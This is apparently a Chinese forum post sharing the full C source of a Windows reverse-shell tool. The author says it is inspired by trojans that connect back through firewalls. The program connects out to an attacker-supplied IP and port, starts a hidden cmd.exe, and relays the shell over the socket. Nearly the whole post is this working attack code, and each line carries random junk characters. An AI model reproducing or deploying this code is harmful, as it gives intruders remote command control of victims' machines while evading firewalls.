这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7{u1ynt
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/* ============================== }& e#b]&:*
Rebound port in Windows NT (d=knoo7A
By wind,2006/7 1Qo2Z;h@
===============================*/ R94ID@LF
#include C;eM:v0A[
#include t|k-Bh:x
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#pragma comment(lib,"wsock32.lib") Y:K1v:Knw
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void OutputShell(); ,Je9]XT
SOCKET sClient; Cn8w})B
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (>gHfC>(lq
7E)*]7B%
void main(int argc,char **argv) }!5+G:JAh
{ <0^L L
WSADATA stWsaData; XZ1<sm8t."
int nRet; U P e@>
SOCKADDR_IN stSaiClient,stSaiServer; &^b mZj!
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if(argc != 3) 9]*hP](
{ 7V7iIbi
printf("Useage:\n\rRebound DestIP DestPort\n"); (n~GKcA
return; t3FfPV!P"
} bl`vT3
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WSAStartup(MAKEWORD(2,2),&stWsaData); # F|w_P
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p?4h2`P
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stSaiClient.sin_family = AF_INET; H7R6Ljd?&S
stSaiClient.sin_port = htons(0); dfA4OZ&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); c=\H&x3X
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) OLgW.j:Ag
{ \y0uGnmCj
printf("Bind Socket Failed!\n"); c27\S?\
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return; AU/L_hg
} F\hU
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stSaiServer.sin_family = AF_INET; d"hW45L
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); jMB&(r
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !&8HA
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #MI4 `FZ
{ IAa}F!6Q1
printf("Connect Error!"); !S}4b
return; J+20]jI
} #[aHKq:?b
OutputShell(); I^yInrRh5
} 9)]asY
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void OutputShell() fp2.2 @[
{ S2EeC&-AR
char szBuff[1024]; ojQjx|Q}
SECURITY_ATTRIBUTES stSecurityAttributes; >`!Lh`n7_
OSVERSIONINFO stOsversionInfo; *1clPK
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; mk&`dr
STARTUPINFO stStartupInfo; 8 ,<F102(
char *szShell; ;Jq 7E
PROCESS_INFORMATION stProcessInformation; c2fbqM~
unsigned long lBytesRead; 1 n<7YO7}
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6P6Pl&
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;/]vmgl2
stSecurityAttributes.lpSecurityDescriptor = 0; WT9k85hqj
stSecurityAttributes.bInheritHandle = TRUE; )=c/{
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ('7qJkV
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); #:n:3]t
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zw,=mpf3_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V]$J&aD
stStartupInfo.wShowWindow = SW_HIDE; vfZ.js/
stStartupInfo.hStdInput = hReadPipe; yw9)^JU8"
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1'{A,!
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GetVersionEx(&stOsversionInfo); +:&,Ts/
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switch(stOsversionInfo.dwPlatformId) =u#xPI0:
{ wN4N2
case 1: XFU['BI
szShell = "command.com"; "0(
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break; $8"G9r
default: ggn:DE"
szShell = "cmd.exe"; a*gzVE7W#n
break; @3F 4Lg6H|
} -l#h^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3Bk_4n
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send(sClient,szMsg,77,0); #nOS7Q#uW
while(1) }pzUHl>
{ `"* ]C
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +7]]=e<[E
if(lBytesRead) ;m[-yqX
{
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U94Tp A6
send(sClient,szBuff,lBytesRead,0); 4.}{B_)LK
} D[5Qd)PIL
else L6-zQztn
{ g_l=z`,8
lBytesRead=recv(sClient,szBuff,1024,0); ~jDG&L
if(lBytesRead<=0) break; `X06JTqf:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Ur/+nL{
} @{|vW
} lS.&>{
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return; C;C= g1I}
}